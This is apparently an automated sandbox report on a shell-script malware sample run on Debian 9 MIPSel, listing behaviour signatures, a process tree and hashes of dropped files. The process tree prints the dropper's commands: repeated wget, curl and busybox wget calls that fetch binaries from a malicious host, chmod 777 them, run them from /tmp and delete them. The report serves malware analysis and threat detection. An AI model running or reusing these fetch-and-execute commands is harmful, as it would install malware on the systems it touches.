Overview

overview

7

Static

static

1

cae24d9d22...23c.sh

ubuntu-18.04-amd64

3

cae24d9d22...23c.sh

debian-9-armhf

4

cae24d9d22...23c.sh

debian-9-mips

7

cae24d9d22...23c.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    149s
  • max time network
    108s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    29/10/2024, 02:55

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General

  • Target
    cae24d9d229f447e09bee1f6ebe392d45986a77188455ec4abf57f263d86b23c.sh
  • Size 10KB
  • Sample241029-deemca1mfj
  • SHA256 cae24d9d229f447e09bee1f6ebe392d45986a77188455ec4abf57f263d86b23c
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 11 IoCs
  • Reads runtime system information 12 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 35 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/cae24d9d229f447e09bee1f6ebe392d45986a77188455ec4abf57f263d86b23c.sh
    /tmp/cae24d9d229f447e09bee1f6ebe392d45986a77188455ec4abf57f263d86b23c.sh
    1⤵
      PID:698
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:704
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
          2⤵
          • System Network Configuration Discovery
          PID:707
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:713
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
          2⤵
          • System Network Configuration Discovery
          PID:728
        • /bin/chmod
          chmod 777 20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
          2⤵
          • File and Directory Permissions Modification
          PID:730
        • /tmp/20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
          ./20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
          2⤵
          • Executes dropped EXE
          PID:731
        • /bin/rm
          rm 20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
          2⤵
            PID:733
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
            2⤵
            • System Network Configuration Discovery
            PID:734
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:736
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
            2⤵
            • System Network Configuration Discovery
            PID:738
          • /bin/chmod
            chmod 777 OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
            2⤵
            • File and Directory Permissions Modification
            PID:749
          • /tmp/OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
            ./OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
            2⤵
            • Executes dropped EXE
            PID:750
          • /bin/rm
            rm OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
            2⤵
              PID:753
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
              2⤵
              • System Network Configuration Discovery
              PID:754
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:760
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
              2⤵
              • System Network Configuration Discovery
              PID:773
            • /bin/chmod
              chmod 777 4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
              2⤵
              • File and Directory Permissions Modification
              PID:794
            • /tmp/4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
              ./4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
              2⤵
              • Executes dropped EXE
              PID:795
            • /bin/rm
              rm 4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
              2⤵
                PID:796
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
                2⤵
                • System Network Configuration Discovery
                PID:797
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:800
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
                2⤵
                • System Network Configuration Discovery
                PID:814
              • /bin/chmod
                chmod 777 kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
                2⤵
                • File and Directory Permissions Modification
                PID:831
              • /tmp/kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
                ./kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
                2⤵
                • Executes dropped EXE
                PID:832
              • /bin/rm
                rm kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
                2⤵
                  PID:833
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
                  2⤵
                  • System Network Configuration Discovery
                  PID:834
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
                  2⤵
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:835
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
                  2⤵
                  • System Network Configuration Discovery
                  PID:837
                • /bin/chmod
                  chmod 777 O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
                  2⤵
                  • File and Directory Permissions Modification
                  PID:838
                • /tmp/O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
                  ./O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
                  2⤵
                  • Executes dropped EXE
                  PID:839
                • /bin/rm
                  rm O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
                  2⤵
                    PID:841
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
                    2⤵
                    • System Network Configuration Discovery
                    PID:842
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:843
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
                    2⤵
                    • System Network Configuration Discovery
                    PID:845
                  • /bin/chmod
                    chmod 777 uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
                    2⤵
                    • File and Directory Permissions Modification
                    PID:846
                  • /tmp/uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
                    ./uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
                    2⤵
                    • Executes dropped EXE
                    PID:847
                  • /bin/rm
                    rm uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
                    2⤵
                      PID:849
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
                      2⤵
                      • System Network Configuration Discovery
                      PID:850
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
                      2⤵
                      • Reads runtime system information
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:851
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
                      2⤵
                      • System Network Configuration Discovery
                      PID:853
                    • /bin/chmod
                      chmod 777 yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
                      2⤵
                      • File and Directory Permissions Modification
                      PID:854
                    • /tmp/yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
                      ./yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
                      2⤵
                      • Executes dropped EXE
                      PID:855
                    • /bin/rm
                      rm yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
                      2⤵
                        PID:856
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
                        2⤵
                        • System Network Configuration Discovery
                        PID:857
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:858
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
                        2⤵
                        • System Network Configuration Discovery
                        PID:860
                      • /bin/chmod
                        chmod 777 3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
                        2⤵
                        • File and Directory Permissions Modification
                        PID:861
                      • /tmp/3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
                        ./3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
                        2⤵
                        • Executes dropped EXE
                        PID:862
                      • /bin/rm
                        rm 3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
                        2⤵
                          PID:864
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
                          2⤵
                          • System Network Configuration Discovery
                          PID:865
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
                          2⤵
                          • Reads runtime system information
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:866
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
                          2⤵
                          • System Network Configuration Discovery
                          PID:868
                        • /bin/chmod
                          chmod 777 EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
                          2⤵
                          • File and Directory Permissions Modification
                          PID:869
                        • /tmp/EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
                          ./EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
                          2⤵
                          • Executes dropped EXE
                          PID:870
                        • /bin/rm
                          rm EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
                          2⤵
                            PID:872
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
                            2⤵
                            • System Network Configuration Discovery
                            PID:873
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
                            2⤵
                            • Reads runtime system information
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:874
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
                            2⤵
                            • System Network Configuration Discovery
                            PID:876
                          • /bin/chmod
                            chmod 777 4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
                            2⤵
                            • File and Directory Permissions Modification
                            PID:877
                          • /tmp/4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
                            ./4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
                            2⤵
                            • Executes dropped EXE
                            PID:878
                          • /bin/rm
                            rm 4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
                            2⤵
                              PID:880
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
                              2⤵
                              • System Network Configuration Discovery
                              PID:881
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
                              2⤵
                              • Reads runtime system information
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:882
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
                              2⤵
                              • System Network Configuration Discovery
                              PID:884
                            • /bin/chmod
                              chmod 777 u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
                              2⤵
                              • File and Directory Permissions Modification
                              PID:885
                            • /tmp/u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
                              ./u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
                              2⤵
                              • Executes dropped EXE
                              PID:886
                            • /bin/rm
                              rm u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
                              2⤵
                                PID:887
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
                                2⤵
                                • System Network Configuration Discovery
                                PID:888
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
                                2⤵
                                • Reads runtime system information
                                • System Network Configuration Discovery
                                PID:889

                            Network

                                  MITRE ATT&CK Enterprise v15

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                                  Downloads

                                  20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
                                  • Path /tmp/20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
                                  • Size 16B
                                  • SHA256 17dcc5c5df80bfe98d30dd8eb7e0de5875d0e4560a0f23e5acb0b13ef1a1a3c5
                                  • MD5 SHA1 SHA512
                                  Submit Download

                                  OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
                                  • Path /tmp/OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
                                  • Size 153B
                                  • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                                  • MD5 SHA1 SHA512
                                  Submit Download